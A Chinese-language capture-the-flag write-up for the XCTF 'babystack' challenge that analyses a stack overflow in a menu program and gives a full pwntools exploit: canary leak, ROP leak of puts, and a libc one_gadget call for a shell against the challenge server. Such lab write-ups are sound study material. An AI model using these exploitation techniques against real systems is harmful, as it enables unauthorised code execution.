题目链接:攻防世界 (xctf.org.cn)
文件分析
只有地址随机化没开,canary开了,如果要栈溢出就需要找到方法泄露canary
运行程序,是个简单的输入输出。然后就可以放到IDA里了
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
char s[136]; // [rsp+10h] [rbp-90h] BYREF
unsigned __int64 v6; // [rsp+98h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(s, 0, 0x80uLL);
while ( 1 )
{
sub_4008B9();
v3 = sub_400841();
switch ( v3 )
{
case 2:
puts(s);
break;
case 3:
return 0LL;
case 1:
read(0, s, 0x100uLL);
break;
default:
sub_400826("invalid choice");
break;
}
sub_400826((const char *)&unk_400AE7);
}
}
输入1的时候明显看到可以栈溢出。简单扫一下,没有现成的system,试一下能不能拼出来,ROPgadget找了一下,程序本身不行,只能从libc文件里下手
one_gadget libc-2.23.so
下面找一下canary,从main里看到只有v6能放canary。存输入的数组s在[rbp-90h],v6在[rbp-8h],也就是偏移是88h。
构造rop链,首先是利用输入1和2的模块泄露canary的值,再利用puts打印put函数真实地址,从而计算出偏移,就可以调用execve
首先选一个上面找到的execve的地址0x45216,main的地址0x400908。还需要pop rdi; ret,地址在0x400a93,它可以将后面的写入的“put_got”作为第一个参数放入第一个参数寄存器rdi中,然后返回到我们写进去的“put_plt”让puts打印出其真实的地址,然后返回到写入的main地址
ROPgadget --binary ./babystack --only "pop|ret" | grep "rdi"
exp
from pwn import *
p=remote('61.147.171.105','60085')
elf=ELF("./babystack")
libc=ELF("./libc-2.23.so")
execve=0x45216
main_addr=0x400908
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x0400a93
payload1='a'*0x88
p.sendlineafter(">> ","1")
p.sendline(payload1)
p.sendlineafter(">> ","2")
p.recvuntil('a'*0x88+'\n')
canary = u64(p.recv(7).rjust(8,'\x00')) #泄露出canary
payload2='a'*0x88+p64(canary)+p64(1)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter(">> ","1")
p.send(payload2)
p.sendlineafter(">> ","3")
puts_addr=u64(p.recv(8).ljust(8,'\x00')) #泄露出puts真实地址
execve_addr=puts_addr-(libc.symbols['puts']-execve) #计算偏移,利用偏移计算execve经ASLR保护后的地址
payload3='a'*0x88+p64(canary)+'a'*8+p64(execve_addr)
p.sendlineafter(">> ","1")
p.sendline(payload3)
p.sendlineafter(">> ","3")
p.interactive()